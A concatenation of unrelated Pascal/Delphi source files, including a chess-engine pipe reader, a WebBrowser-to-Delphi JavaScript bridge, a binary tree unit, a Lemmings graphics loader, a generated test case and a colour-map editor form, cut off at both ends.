move[2].Y:=strToInt(moveStr[4]); result:=move; end; //Transform collum letter to number function TWinboardConn.letterToNumber(num:String) : Integer; begin case num[1] of 'a' : result:=1; 'b' : result:=2; 'c' : result:=3; 'd' : result:=4; 'e' : result:=5; 'f' : result:=6; 'g' : result:=7; 'h' : result:=8; else result :=0; end; end; //read all the output text from the TProcess pipe (basically copy/pasted from the //TProcess example) procedure TWinboardConn.readFromPipe; var NoMoreOutput: boolean; procedure DoStuffForProcess; var Buffer: string; BytesAvailable: DWord; BytesRead:LongInt; begin if engineProcess.Running then begin BytesAvailable := engineProcess.Output.NumBytesAvailable; BytesRead := 0; while BytesAvailable>0 do begin SetLength(Buffer, BytesAvailable); BytesRead := engineProcess.OutPut.Read(Buffer[1], BytesAvailable); OutputText := OutputText + copy(Buffer,1, BytesRead); BytesAvailable := engineProcess.Output.NumBytesAvailable; NoMoreOutput := false; end; end; end; begin if engineProcess.Running then repeat NoMoreOutput := true; DoStuffForProcess; until noMoreOutput; end; function TWinboardConn.extractMove : string; var initialPos : integer; begin //delete the text from the start of the engine output engineRegExpression.Expression:='.*(My move|my move|move)( is|)(: | : | )'; engineRegExpression.Exec(outputText); initialPos := pos(engineRegExpression.Match[0],outputText); Delete(outputText,initialPos,Length(engineRegExpression.Match[0])); //if there's text after the engine move, delete it too engineRegExpression.Expression:=' .+'; if (engineRegExpression.Exec(outputText)) then begin initialPos := pos(engineRegExpression.Match[0],outputText); Delete(outputText,initialPos,Length(engineRegExpression.Match[0])); end; result:= outputText; outputText:=''; end; end.
unit Unit1; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.StdCtrls, FMX.Controls.Presentation, FMX.WebBrowser, System.RTTI; type TForm1 = class(TForm) WebBrowser1: TWebBrowser; ToolBar1: TToolBar; Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure WebBrowser1ShouldStartLoadWithRequest(ASender: TObject; const URL: string); procedure Button2Click(Sender: TObject); procedure WebBrowser1DidStartLoad(ASender: TObject); procedure FormCreate(Sender: TObject); private function CallMethod(AMethodName: string; AParameters: TArray<TValue>): TValue; function ProcessMethodUrlParse(AUrl: string; var MethodName: string; var Parameters: TArray<TValue>): Boolean; public { Private declarations } procedure callDelphiMethodFromJS; procedure callDelphiMethodFromJSWithParam(AStr1, AStr2: string); public { Public declarations } end; var Form1: TForm1; implementation {$R *.fmx} uses System.NetEncoding; procedure TForm1.FormCreate(Sender: TObject); begin WebBrowser1.URL := 'http://hjf.pe.kr/fmx/hybrid.php'; WebBrowser1.Navigate; end; // 델파이에서 JavaScript 실행 procedure TForm1.Button1Click(Sender: TObject); begin WebBrowser1.EvaluateJavaScript('callJSMethodFromDelphi();'); end; // 웹페이지에서 호출하는 델파이 메소드 procedure TForm1.Button2Click(Sender: TObject); begin if WebBrowser1.CanGoBack then WebBrowser1.GoBack; end; procedure TForm1.callDelphiMethodFromJS; begin ShowMessage('[DELPHI] Call from JS'); end; procedure TForm1.callDelphiMethodFromJSWithParam(AStr1, AStr2: string); begin ShowMessage(Format('[DELPHI] Call from JS(%s, %s)', [AStr1, AStr2])); end; function TForm1.CallMethod(AMethodName: string; AParameters: TArray<TValue>): TValue; { // IF문을 사용하는 방식 begin if AMethodName = 'callDelphiMethodFromJS' then callDelphiMethodFromJS else if AMethodName = 'callDelphiMethodFromJSWithParam' then callDelphiMethodFromJSWithParam(AParameters[0].AsString, AParameters[1].AsString); end; } // RTTI로 메소드이름으로 메소드 호출하는 방식(published, public 으로 메소드가 선언되야함) var RttiCtx: TRttiContext; RttiTyp: TRttiType; RttiMtd: TRttiMethod; begin RttiCtx := TRttiContext.Create; RttiTyp := RttiCtx.GetType(Self.ClassInfo); if Assigned(RttiTyp) then begin RttiMtd := RttiTyp.GetMethod(AMethodName); if Assigned(RttiMtd) then Result := RttiMtd.Invoke(Self, AParameters); end; RttiMtd.Free; RttiTyp.Free; RttiCtx.Free; end; // URL format // jscall://{method name}?{Param1}|{ParamN} // e.g> jscall://callDelphiMethodFromJSWithParam?Hello|1234 function TForm1.ProcessMethodUrlParse(AUrl: string; var MethodName: string; var Parameters: TArray<TValue>): Boolean; const JSCALL_PREFIX = 'jscall://'; JSCALL_PREFIX_LEN = Length(JSCALL_PREFIX); var I: Integer; ParamStr: string; ParamArray: TArray<string>; begin Result := False; // iOS에서 특수기호(|)가 멀티바이트로 넘어옴 AUrl := TNetEncoding.URL.Decode(AUrl); if AUrl.IndexOf(JSCALL_PREFIX) = -1 then Exit(False); if AUrl.IndexOf('?') > 0 then begin MethodName := AUrl.Substring(JSCALL_PREFIX_LEN, AUrl.IndexOf('?')-JSCALL_PREFIX_LEN); ParamStr := AUrl.Substring(AUrl.IndexOf('?')+1, Length(AUrl)); ParamArray := ParamStr.Split(['|']); SetLength(Parameters, length(ParamArray)); for I := 0 to Length(ParamArray)-1 do Parameters[I] := ParamArray[I]; end else MethodName := AUrl.Substring(JSCALL_PREFIX_LEN, MaxInt); if MethodName.IndexOf('/') > 0 then MethodName := MethodName.Replace('/', ''); Result := not MethodName.IsEmpty; end; procedure TForm1.WebBrowser1DidStartLoad(ASender: TObject); var URL: string; MethodName: string; Params: TArray<TValue>; begin {$IFDEF MSWINDOWS} URL := WebBrowser1.URL; if ProcessMethodUrlParse(URL, MethodName, Params) then begin CallMethod(MethodName, Params); end; {$ENDIF} end; procedure TForm1.WebBrowser1ShouldStartLoadWithRequest(ASender: TObject; const URL: string); var MethodName: string; Params: TArray<TValue>; begin if ProcessMethodUrlParse(URL, MethodName, Params) then begin CallMethod(MethodName, Params); end; end; end.
{ Subroutine SST_SCOPE_NEW * * Create and initialize a new current scope. The previous current scope will * be the new parent scope. } module sst_SCOPE_NEW; define sst_scope_new; %include 'sst2.ins.pas'; procedure sst_scope_new; {create new scope subordinate to curr scope} var mem_p: util_mem_context_p_t; {points to memory context for new scope} scope_p: sst_scope_p_t; {points to newly created scope} begin util_mem_context_get (sst_scope_p^.mem_p^, mem_p); {create new mem context} util_mem_grab (sizeof(scope_p^), mem_p^, false, scope_p); {alloc scope descriptor} scope_p^.mem_p := mem_p; {save mem context handle for new scope} string_hash_create ( {init hash table for input symbols this level} scope_p^.hash_h, {handle to new hash table} 64, {number of buckets in this hash table} max_symbol_len, {max length of any entry name in hash table} sizeof(sst_symbol_p_t), {amount of user memory for hash entries} [ string_hashcre_memdir_k, {use parent memory context directly} string_hashcre_nodel_k], {won't need to individually deallocate entries} scope_p^.mem_p^); {parent memory context for hash table} string_hash_create ( {init hash table for output symbols this level} scope_p^.hash_out_h, {handle to new hash table} 64, {number of buckets in this hash table} max_symbol_len, {max length of any entry name in hash table} sizeof(sst_symbol_p_t), {amount of user memory for hash entries} [ string_hashcre_memdir_k, {use parent memory context directly} string_hashcre_nodel_k], {won't need to individually deallocate entries} scope_p^.mem_p^); {parent memory context for hash table} scope_p^.parent_p := sst_scope_p; {link new scope to its parent} scope_p^.symbol_p := nil; {init to no symbol for this scope level} scope_p^.flag_ref_used := false; {init to not flag references symbols as used} sst_scope_p := scope_p; {make new scope the current scope} sst_names_p := scope_p; {set namespace to same as scope} end;
UNIT BinTree; interface type NodePtr = ^Node; Node = record left, right: nodePtr; val: string; end; TreePtr = NodePtr; function newTree(val: string): NodePtr; procedure disposeTree(var t: TreePtr); procedure writeTreeInOrder(t: TreePtr); //function valueOf(n: NodePtr): integer; implementation function newTree(val: string): NodePtr; var n: NodePtr; begin New(n); n^.left := NIL; n^.right := NIL; n^.val := val; newTree := n; end; procedure disposeTree(var t: TreePtr); begin if (t <> NIL) then begin disposeTree(t^.left); disposeTree(t^.right); dispose(t); t := NIL; end; end; function height(t: TreePtr): integer; function max(a, b: integer): integer; begin if(a > b) then max := a else max := b end; begin if(t = NIL) then height := 0 else height := 1 + max(height(t^.left), height(t^.right)) end; procedure writeTreeInOrder(t: TreePtr); var maxHeight: integer; procedure writeTree(n: NodePtr); begin if(n <> NIL) then begin writeTree(n^.left); writeLn('':(maxHeight - height(n)),n^.val); writeTree(n^.right); end; end; begin maxHeight := height(t); writeln; writeTree(t); writeln; end; begin end.
unit FiveViewUtils; interface uses Classes, Controls; const xfPrefix = 'xfer_'; tidNonAvail = 'n/a'; function SetViewProp(View : TWinControl; Properties : TStringList) : boolean; procedure GetViewPropNames(View : TWinControl; Names : TStringList); implementation uses Forms; procedure GetViewPropNames(View : TWinControl; Names : TStringList); var i : integer; Control : TControl; PropName : string; begin try for i := 0 to pred(View.ControlCount) do begin Application.ProcessMessages; Control := View.Controls[i]; if pos(xfPrefix, Control.Name) = 1 then begin PropName := copy(Control.Name, length(xfPrefix) + 1, length(Control.Name)); Names.Add(PropName); end; if Control is TWinControl then GetViewPropNames(Control as TWinControl, Names); end; except end; end; function SetViewProp(View : TWinControl; Properties : TStringList) : boolean; var i : integer; Control : TControl; PropName : string; PropVal : string; begin try for i := 0 to pred(View.ControlCount) do begin Application.ProcessMessages; Control := View.Controls[i]; if pos(xfPrefix, Control.Name) = 1 then begin PropName := copy(Control.Name, length(xfPrefix) + 1, length(Control.Name)); try PropVal := Properties.Values[PropName]; if PropVal = '' then PropVal := tidNonAvail; Control.SetTextBuf(pchar(PropVal)); except end; end; if Control is TWinControl then SetViewProp(Control as TWinControl, Properties); end; result := true; except result := false; end; end; end.
unit l3FontInfo; // Модуль: "w:\common\components\rtl\Garant\L3\l3FontInfo.pas" // Стереотип: "SimpleClass" // Элемент модели: "Tl3FontInfo" MUID: (5786531B02BD) {$Include w:\common\components\rtl\Garant\L3\l3Define.inc} interface uses l3IntfUses , l3CProtoObject , l3Interfaces , Graphics ; type Tl3FontInfo = class(Tl3CProtoObject, Il3FontInfo) private f_Font: TFont; protected function Get_Size: Integer; function Get_Name: TFontName; function Get_Bold: Boolean; function Get_Italic: Boolean; function Get_Underline: Boolean; function Get_Strikeout: Boolean; function Get_ForeColor: Tl3Color; function Get_BackColor: Tl3Color; function Get_Pitch: TFontPitch; function Get_Index: Tl3FontIndex; procedure Cleanup; override; {* Функция очистки полей объекта. } procedure InitFields; override; public constructor Create(aFont: TFont); reintroduce; class function Make(aFont: TFont): Il3FontInfo; reintroduce; end;//Tl3FontInfo implementation uses l3ImplUses , SysUtils {$If NOT Defined(NoScripts)} , FontWordsPack {$IfEnd} // NOT Defined(NoScripts) //#UC START# *5786531B02BDimpl_uses* //#UC END# *5786531B02BDimpl_uses* ; constructor Tl3FontInfo.Create(aFont: TFont); //#UC START# *578653EC01D9_5786531B02BD_var* //#UC END# *578653EC01D9_5786531B02BD_var* begin //#UC START# *578653EC01D9_5786531B02BD_impl* inherited Create; f_Font := TFont.Create; f_Font.Assign(aFont); //#UC END# *578653EC01D9_5786531B02BD_impl* end;//Tl3FontInfo.Create class function Tl3FontInfo.Make(aFont: TFont): Il3FontInfo; var l_Inst : Tl3FontInfo; begin l_Inst := Create(aFont); try Result := l_Inst; finally l_Inst.Free; end;//try..finally end;//Tl3FontInfo.Make function Tl3FontInfo.Get_Size: Integer; //#UC START# *46A60D7A02E4_5786531B02BDget_var* //#UC END# *46A60D7A02E4_5786531B02BDget_var* begin //#UC START# *46A60D7A02E4_5786531B02BDget_impl* Result := f_Font.Size; //#UC END# *46A60D7A02E4_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Size function Tl3FontInfo.Get_Name: TFontName; //#UC START# *46A60E2802E4_5786531B02BDget_var* //#UC END# *46A60E2802E4_5786531B02BDget_var* begin //#UC START# *46A60E2802E4_5786531B02BDget_impl* Result := f_Font.Name; //#UC END# *46A60E2802E4_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Name function Tl3FontInfo.Get_Bold: Boolean; //#UC START# *46A60E58013F_5786531B02BDget_var* //#UC END# *46A60E58013F_5786531B02BDget_var* begin //#UC START# *46A60E58013F_5786531B02BDget_impl* Result := (fsBold in f_Font.Style); //#UC END# *46A60E58013F_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Bold function Tl3FontInfo.Get_Italic: Boolean; //#UC START# *46A60E740045_5786531B02BDget_var* //#UC END# *46A60E740045_5786531B02BDget_var* begin //#UC START# *46A60E740045_5786531B02BDget_impl* Result := (fsItalic in f_Font.Style); //#UC END# *46A60E740045_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Italic function Tl3FontInfo.Get_Underline: Boolean; //#UC START# *46A60EA6032C_5786531B02BDget_var* //#UC END# *46A60EA6032C_5786531B02BDget_var* begin //#UC START# *46A60EA6032C_5786531B02BDget_impl* Result := (fsUnderline in f_Font.Style); //#UC END# *46A60EA6032C_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Underline function Tl3FontInfo.Get_Strikeout: Boolean; //#UC START# *46A60EBF03BE_5786531B02BDget_var* //#UC END# *46A60EBF03BE_5786531B02BDget_var* begin //#UC START# *46A60EBF03BE_5786531B02BDget_impl* Result := (fsStrikeout in f_Font.Style); //#UC END# *46A60EBF03BE_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Strikeout function Tl3FontInfo.Get_ForeColor: Tl3Color; //#UC START# *46A60ED90325_5786531B02BDget_var* //#UC END# *46A60ED90325_5786531B02BDget_var* begin //#UC START# *46A60ED90325_5786531B02BDget_impl* Result := f_Font.Color; //#UC END# *46A60ED90325_5786531B02BDget_impl* end;//Tl3FontInfo.Get_ForeColor function Tl3FontInfo.Get_BackColor: Tl3Color; //#UC START# *46A60EF300C9_5786531B02BDget_var* //#UC END# *46A60EF300C9_5786531B02BDget_var* begin //#UC START# *46A60EF300C9_5786531B02BDget_impl* Result := clNone; //#UC END# *46A60EF300C9_5786531B02BDget_impl* end;//Tl3FontInfo.Get_BackColor function Tl3FontInfo.Get_Pitch: TFontPitch; //#UC START# *46A60F63035F_5786531B02BDget_var* //#UC END# *46A60F63035F_5786531B02BDget_var* begin //#UC START# *46A60F63035F_5786531B02BDget_impl* Result := f_Font.Pitch; //#UC END# *46A60F63035F_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Pitch function Tl3FontInfo.Get_Index: Tl3FontIndex; //#UC START# *46A60F89031E_5786531B02BDget_var* //#UC END# *46A60F89031E_5786531B02BDget_var* begin //#UC START# *46A60F89031E_5786531B02BDget_impl* Result := l3_fiNone; //#UC END# *46A60F89031E_5786531B02BDget_impl* end;//Tl3FontInfo.Get_Index procedure Tl3FontInfo.Cleanup; {* Функция очистки полей объекта. } //#UC START# *479731C50290_5786531B02BD_var* //#UC END# *479731C50290_5786531B02BD_var* begin //#UC START# *479731C50290_5786531B02BD_impl* FreeAndNil(f_Font); inherited; //#UC END# *479731C50290_5786531B02BD_impl* end;//Tl3FontInfo.Cleanup procedure Tl3FontInfo.InitFields; //#UC START# *47A042E100E2_5786531B02BD_var* //#UC END# *47A042E100E2_5786531B02BD_var* begin //#UC START# *47A042E100E2_5786531B02BD_impl* inherited; //#UC END# *47A042E100E2_5786531B02BD_impl* end;//Tl3FontInfo.InitFields end.
{$include lem_directives.inc} unit LemDosGraphicSet; interface uses Classes, SysUtils, GR32, UMisc, LemTypes, LemMetaObject, LemMetaTerrain, LemGraphicSet, LemDosStructures, LemDosBmp, LemDosCmp, LemDosMisc; type TBaseDosGraphicSet = class(TBaseGraphicSet) private protected fMetaInfoFile : string; // ground?.dat fGraphicFile : string; // vgagr?.dat fGraphicExtFile : string; // vgaspec?.dat fMetaInfoFN : string; // ground?.dat fGraphicFN : string; // vgagr?.dat fGraphicExtFN : string; // vgaspec?.dat fPaletteCustom : TArrayOfColor32; fPaletteStandard : TArrayOfColor32; fPalettePreview : TArrayOfColor32; fPalette : TArrayOfColor32; fBrickColor : TColor32; fExtPal : Byte; fExtLoc : Boolean; procedure DoReadMetaData; override; procedure DoReadData; override; procedure DoClearMetaData; override; procedure DoClearData; override; public property PaletteCustom: TArrayOfColor32 read fPaletteCustom; property PaletteStandard: TArrayOfColor32 read fPaletteStandard; property PalettePreview: TArrayOfColor32 read fPalettePreview; property Palette: TArrayOfColor32 read fPalette; property BrickColor: TColor32 read fBrickCOlor; published property MetaInfoFile: string read fMetaInfoFile write fMetaInfoFile; property GraphicFile: string read fGraphicFile write fGraphicFile; property GraphicExtFile: string read fGraphicExtFile write fGraphicExtFile; property MetaInfoFN: string read fMetaInfoFN write fMetaInfoFN; property GraphicFN: string read fGraphicFN write fGraphicFN; property GraphicExtFN: string read fGraphicExtFN write fGraphicExtFN; end; implementation { TBaseDosGraphicSet } procedure TBaseDosGraphicSet.DoReadMetaData; {------------------------------------------------------------------------------- Read metadata from the ground??.dat file. -------------------------------------------------------------------------------} var G, G2: TDosGroundRec; O: PDosMetaObject; T: PDosMetaTerrain; MO: TMetaObject; MT: TMetaTerrain; i: Integer; // TempColor: TColor32; procedure LoadDosGroundRec; var D: TStream; i: integer; b: ^byte; begin {$ifdef external}if FileExists(fMetaInfoFN) then D := TFileStream.Create(fMetaInfoFN, fmOpenRead) else{$endif} D := CreateDataStream(fMetaInfoFile, ldtLemmings); try D.ReadBuffer(G, SizeOf(G)); if D.Size > SizeOf(G) then D.ReadBuffer(G2, SizeOf(G)) else begin b := @G2; for i := 0 to SizeOf(G2) - 1 do begin b^ := 0; Inc(b); end; end; finally D.Free; end; end; function LoadSpecPalette: TDosVGAPalette8; var SpecBmp: TVgaSpecBitmap; DataStream: TStream; begin SpecBmp := TVgaSpecBitmap.Create; {$ifdef external}if FileExists(GraphicExtFN) then DataStream := TFileStream.Create(GraphicExtFN, fmOpenRead) else{$endif} DataStream := CreateDataStream(GraphicExtFile, ldtLemmings); //fuckface try SpecBmp.LoadPaletteFromStream(DataStream, Result); finally SpecBmp.Free; DataStream.Free; end; end; procedure AssemblePalette; {------------------------------------------------------------------------------- Concatenate the fixed palette and the loaded custompalette. Then copy the first customcolor to the last fixed color (bridges, minimap). For special graphics we use a hardcoded color for now. -------------------------------------------------------------------------------} var i: Integer; begin SetLength(fPalette, 32); for i := 0 to 7 do fPalette[i] := DosPaletteEntryToColor32(DosInlevelPalette[i]); for i := 8 to 15 do fPalette[i] := fPaletteCustom[i - 8]; for i := 16 to 23 do fPalette[i] := fPaletteStandard[i - 16]; for i := 24 to 31 do fPalette[i] := fPalettePreview[i - 24]; if GraphicSetIdExt > 0 then fPalette[8] := Color32(124, 124, 0, 0); fPalette[7] := fPalette[8]; fBrickColor := fPalette[7]; end; begin LoadDosGroundRec; with G do begin // convert palettes DosVgaPalette8ToLemmixPalette(VGA_PaletteCustom, fPaletteCustom); DosVgaPalette8ToLemmixPalette(VGA_PaletteStandard, fPaletteStandard); DosVgaPalette8ToLemmixPalette(VGA_PalettePreview, fPalettePreview); // if special graphic then overwrite the custom palette if GraphicSetIdExt > 0 then DosVgaPalette8ToLemmixPalette(LoadSpecPalette, fPaletteCustom); // make 16 color palette AssemblePalette; // meta objects for i := 0 to 31 do begin if i < 16 then O := @ObjectInfoArray[i] else O := @G2.ObjectInfoArray[i-16]; if O^.oWidth = 0 then Break; MO := MetaObjects.Add; with MO do begin if i = 0 then begin //check extended properties if ((O^.oAnimation_flags and $0100) <> 0) then fExtPal := 1 else fExtPal := 0; //if ((O^.oAnimation_flags and $0200) <> 0) then fAdjTrig := true else fAdjTrig := false; if ((O^.oAnimation_flags and $0800) <> 0) then begin fPalette[1] := $D02020; fPalette[4] := $F0F000; fPalette[5] := $4040E0; end; if ((O^.oAnimation_flags and $2000) <> 0) then fExtLoc := true else fExtLoc := false; if ((O^.oAnimation_flags and $4000) <> 0) then fExtPal := 15; O^.oAnimation_flags := O^.oAnimation_flags and 3; end; AnimationType := O^.oAnimation_flags; StartAnimationFrameIndex := O^.oStart_animation_frame_index; AnimationFrameCount := O^.oAnimation_frame_count; AnimationFrameDataSize := O^.oAnimation_frame_data_size; MaskOffsetFromImage := O^.oMask_offset_from_image; Width := O^.oWidth; Height := O^.oHeight; TriggerLeft := O^.oTrigger_left * 4; // encoded TriggerTop := O^.oTrigger_top * 4 - 4; // encoded TriggerWidth := O^.oTrigger_width * 4; // encoded TriggerHeight := O^.oTrigger_height * 4; // encoded TriggerEffect := O^.oTrigger_effect_id; AnimationFramesBaseLoc := O^.oAnimation_frames_base_loc; if fExtLoc then AnimationFramesBaseLoc := AnimationFramesBaseLoc + (O^.oUnknown1 shl 16); PreviewFrameIndex := (O^.oPreview_image_location - O^.oAnimation_frames_base_loc) div O^.oAnimation_frame_data_size; SoundEffect := O^.oSound_effect_id; end; end; // if extended graphic then no terrain if fGraphicSetIdExt <> 0 then Exit; // meta terrains for i := 0 to 127 do begin if i < 64 then T := @TerrainInfoArray[i] else T := @G2.TerrainInfoArray[i-64]; if T^.tWidth = 0 then Break; MT := MetaTerrains.Add; with MT do begin Width := T^.tWidth; Height := T^.tHeight; ImageLocation := T.tImage_loc; if fExtLoc then ImageLocation := ImageLocation + (((T.tUnknown1 mod 256) shr 1) shl 16); end; end; end; // with G end; procedure TBaseDosGraphicSet.DoReadData; {------------------------------------------------------------------------------- read all terrain- and object bitmaps from dos file -------------------------------------------------------------------------------} var Sections: TDosDatSectionList; Decompressor: TDosDatDecompressor; Mem: TMemoryStream; Planar: TDosPlanarBitmap; T: TMetaTerrain; MO: TMetaObject; Bmp: TBitmap32; i, f, y, loc: Integer; FrameBitmap: TBitmap32; DataStream: TStream; SpecBmp: TVgaSpecBitmap; begin DataStream := nil; Sections := TDosDatSectionList.Create; try // first decompress all data into the sectionlist Decompressor := TDosDatDecompressor.Create; try {$ifdef external}if FileExists(fGraphicFN) then DataStream := TFileStream.Create(fGraphicFN, fmOpenRead) else{$endif} DataStream := CreateDataStream(fGraphicFile, ldtLemmings); //fuckface Decompressor.LoadSectionList(DataStream, Sections, True); finally Decompressor.Free; DataStream.Free; end; // then load the terrains and objects Planar := TDosPlanarBitmap.Create; FrameBitmap := TBitmap32.Create; try // get terrains from the first section if GraphicSetIdExt = 0 then begin Mem := Sections[0].DecompressedData; with MetaTerrains.HackedList do for i := 0 to Count - 1 do begin T := List^[i]; Bmp := TBitmap32.Create; TerrainBitmaps.Add(Bmp); Planar.LoadFromStream(Mem, Bmp, T.ImageLocation, T.Width, T.Height, 4 + fExtPal, fPalette); end; end // or get the terrainbitmap from the vgaspec else begin SpecBmp := TVgaSpecBitmap.Create; try {$ifdef external}if FileExists(GraphicExtFN) then DataStream := TFileStream.Create(GraphicExtFN, fmOpenRead) else{$endif} DataStream := CreateDataStream(GraphicExtFile, ldtLemmings); //fuckface try SpecBmp.LoadFromStream(DataStream, SpecialBitmap); finally DataStream.Free; end; finally SpecBmp.Free; end; end; // get objects from the second section Mem := Sections[1].DecompressedData; with MetaObjects.HackedList do for i := 0 to Count - 1 do begin MO := List^[i]; Bmp := TBitmap32.Create; Bmp.SetSize(MO.Width, MO.Height * MO.AnimationFrameCount); ObjectBitmaps.Add(Bmp); y := 0; Loc := MO.AnimationFramesBaseLoc; // load all animation frames and glue together for f := 0 to MO.AnimationFrameCount - 1 do begin Planar.LoadFromStream(Mem, FrameBitmap, Loc, MO.Width, MO.Height, 4 + fExtPal, fPalette); FrameBitmap.DrawTo(Bmp, 0, Y); //FrameBitmap.SaveToFile('d:\temp\' + 'frame_' + LeadZeroStr(i, 2) + '_' + LeadZeroStr(f, 2) + '.bmp'); Inc(Y, MO.Height); Inc(Loc, MO.AnimationFrameDataSize); end; //Bmp.SaveToFile('d:\temp\' + 'obj_' + LeadZeroStr(i, 2) + '.bmp'); end; finally Planar.Free; FrameBitmap.Free; end; finally Sections.Free; end; end; procedure TBaseDosGraphicSet.DoClearData; begin inherited DoClearData; end; procedure TBaseDosGraphicSet.DoClearMetaData; begin inherited DoClearMetaData; fMetaInfoFile := ''; fGraphicFile := ''; fGraphicExtFile := ''; fPaletteCustom := nil; fPaletteStandard := nil; fPalettePreview := nil; fPalette := nil; fBrickColor := 0; end; end.
unit K620665614_B20410989; {* [RequestLink:620665614] } // Модуль: "w:\common\components\rtl\Garant\Daily\K620665614_B20410989.pas" // Стереотип: "TestCase" // Элемент модели: "K620665614_B20410989" MUID: (56FA6CCB0243) // Имя типа: "TK620665614_B20410989" {$Include w:\common\components\rtl\Garant\Daily\TestDefine.inc.pas} interface {$If Defined(nsTest) AND NOT Defined(NoScripts)} uses l3IntfUses , EVDtoBothNSRCWriterTest ; type TK620665614_B20410989 = class(TEVDtoBothNSRCWriterTest) {* [RequestLink:620665614] } protected function GetFolder: AnsiString; override; {* Папка в которую входит тест } function GetModelElementGUID: AnsiString; override; {* Идентификатор элемента модели, который описывает тест } end;//TK620665614_B20410989 {$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts) implementation {$If Defined(nsTest) AND NOT Defined(NoScripts)} uses l3ImplUses , TestFrameWork //#UC START# *56FA6CCB0243impl_uses* //#UC END# *56FA6CCB0243impl_uses* ; function TK620665614_B20410989.GetFolder: AnsiString; {* Папка в которую входит тест } begin Result := 'CrossSegments'; end;//TK620665614_B20410989.GetFolder function TK620665614_B20410989.GetModelElementGUID: AnsiString; {* Идентификатор элемента модели, который описывает тест } begin Result := '56FA6CCB0243'; end;//TK620665614_B20410989.GetModelElementGUID initialization TestFramework.RegisterTest(TK620665614_B20410989.Suite); {$IfEnd} // Defined(nsTest) AND NOT Defined(NoScripts) end.
{====================================================} { } { EldoS Visual Components } { } { Copyright (c) 1998-2002, EldoS } { } {====================================================} {$include elpack2.inc} {$ifdef ELPACK_SINGLECOMP} {$I ElPack.inc} {$else} {$ifdef LINUX} {$I ../ElPack.inc} {$else} {$I ..\ElPack.inc} {$endif} {$endif} unit frmColorMapItems; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ElColorMap, ElBtnCtl, ElGlyphs, ElPopBtn, ElACtrls, {$ifdef VCL_6_USED} Types, {$endif} ElCheckCtl, ElClrCmb, ElXPThemedControl; type TColorMapItemsForm = class(TForm) Label1 : TLabel; Label2 : TLabel; FgColor : TElColorCombo; BkColor : TElColorCombo; Label3 : TLabel; Label4 : TLabel; Label5 : TLabel; IDLbl : TLabel; OkBtn: TElPopupButton; CancelBtn: TElPopupButton; AddBtn: TElPopupButton; DelBtn: TElPopupButton; AddGroupBtn: TElPopupButton; DelGroupBtn: TElPopupButton; EntryLB: TElAdvancedListBox; GroupLB: TElAdvancedListBox; UseBkCB: TElCheckBox; UseFgCB: TElCheckBox; procedure UseFgCBClick(Sender : TObject); procedure CustomFgCBClick(Sender : TObject); procedure AddGroupBtnClick(Sender : TObject); procedure GroupLBClick(Sender : TObject); procedure FormCreate(Sender : TObject); procedure FormDestroy(Sender : TObject); procedure FormShow(Sender : TObject); procedure UseBkCBClick(Sender : TObject); procedure DelGroupBtnClick(Sender : TObject); procedure AddBtnClick(Sender : TObject); procedure DelBtnClick(Sender : TObject); procedure EntryLBClick(Sender : TObject); procedure FgColorChange(Sender : TObject); procedure BkColorChange(Sender : TObject); private { Private declarations } protected GrSel, MapSel, EntSel : integer; SaveVal : string; procedure RefreshEntriesList; public { Public declarations } Runtime : boolean; Map : TElColorMap; procedure RefreshColors; end; var ColorMapItemsForm : TColorMapItemsForm; implementation {$R *.DFM} procedure TColorMapItemsForm.UseFgCBClick(Sender : TObject); var T : TColorEntry; begin if MapSel = -1 then exit; FgColor.Enabled := UseFgCB.Checked; T := Map[MapSel]; T.UseFG := FgColor.Enabled; Map[MapSel] := T; end; procedure TColorMapItemsForm.CustomFgCBClick(Sender : TObject); begin FgColor.Enabled := UseFgCB.Checked; end; procedure TColorMapItemsForm.AddGroupBtnClick(Sender : TObject); var S, S1 : string; i : integer; b : boolean; begin S := InputBox('New colors group', 'Enter the group name:', ''); if S = '' then exit; S1 := UpperCase(S); b := false; for i := 0 to GroupLB.Items.Count - 1 do begin if S1 = UpperCase(GroupLB.Items[i]) then begin b := true; break; end; end; if b then begin MessageBox(0, 'Group already exists', '', 0); exit; end; GroupLB.ItemIndex := GroupLB.Items.Add(S); GroupLBClick(Self); end; procedure TColorMapItemsForm.GroupLBClick(Sender : TObject); begin DelGroupBtn.Enabled := GroupLB.ItemIndex <> -1; AddBtn.Enabled := DelGroupBtn.Enabled; if GroupLB.ItemIndex <> GrSel then begin GrSel := GroupLB.ItemIndex; RefreshEntriesList; end; end; procedure TColorMapItemsForm.FormCreate(Sender : TObject); begin Map := TElColorMap.Create(self); end; procedure TColorMapItemsForm.FormDestroy(Sender : TObject); begin Map.Free; end; procedure TColorMapItemsForm.FormShow(Sender : TObject); var i : integer; S : string; begin for i := 0 to Map.Count - 1 do begin S := Map[i].Group; if GroupLB.Items.IndexOf(S) = -1 then GroupLB.Items.Add(S); end; if Runtime then Height := 260 else Height := 310; GrSel := -1; MapSel := -1; EntSel := -1; GroupLB.ItemIndex := 0; GroupLBClick(self); IDLbl.Visible := not RunTime; Label5.Visible := not RunTime; end; procedure TColorMapItemsForm.RefreshEntriesList; { protected } var i : integer; begin EntryLB.Items.Clear; if GroupLB.ItemIndex = -1 then exit; for i := 0 to Map.Count - 1 do if Map[i].Group = GroupLB.Items[GroupLB.ItemIndex] then EntryLB.Items.AddObject(Map[i].Name, TObject(Map[i].ID)); EntryLB.ItemIndex := 0; EntryLBClick(self); end; { RefreshEntriesList } procedure TColorMapItemsForm.RefreshColors; { public } var T : TColorEntry; begin if EntryLB.ItemIndex = -1 then begin MapSel := -1; exit; end; MapSel := integer(EntryLB.Items.Objects[EntryLB.ItemIndex]); T := Map[MapSel]; UseFgCB.Checked := T.UseFg; UseFgCB.Visible := not Runtime; UseFgCBClick(self); UseBkCB.Checked := T.UseBk; UseBkCB.Visible := not Runtime; UseBkCBClick(self); FgColor.SelectedColor := T.FgColor; BkColor.SelectedColor := T.BkColor; end; { RefreshColors } procedure 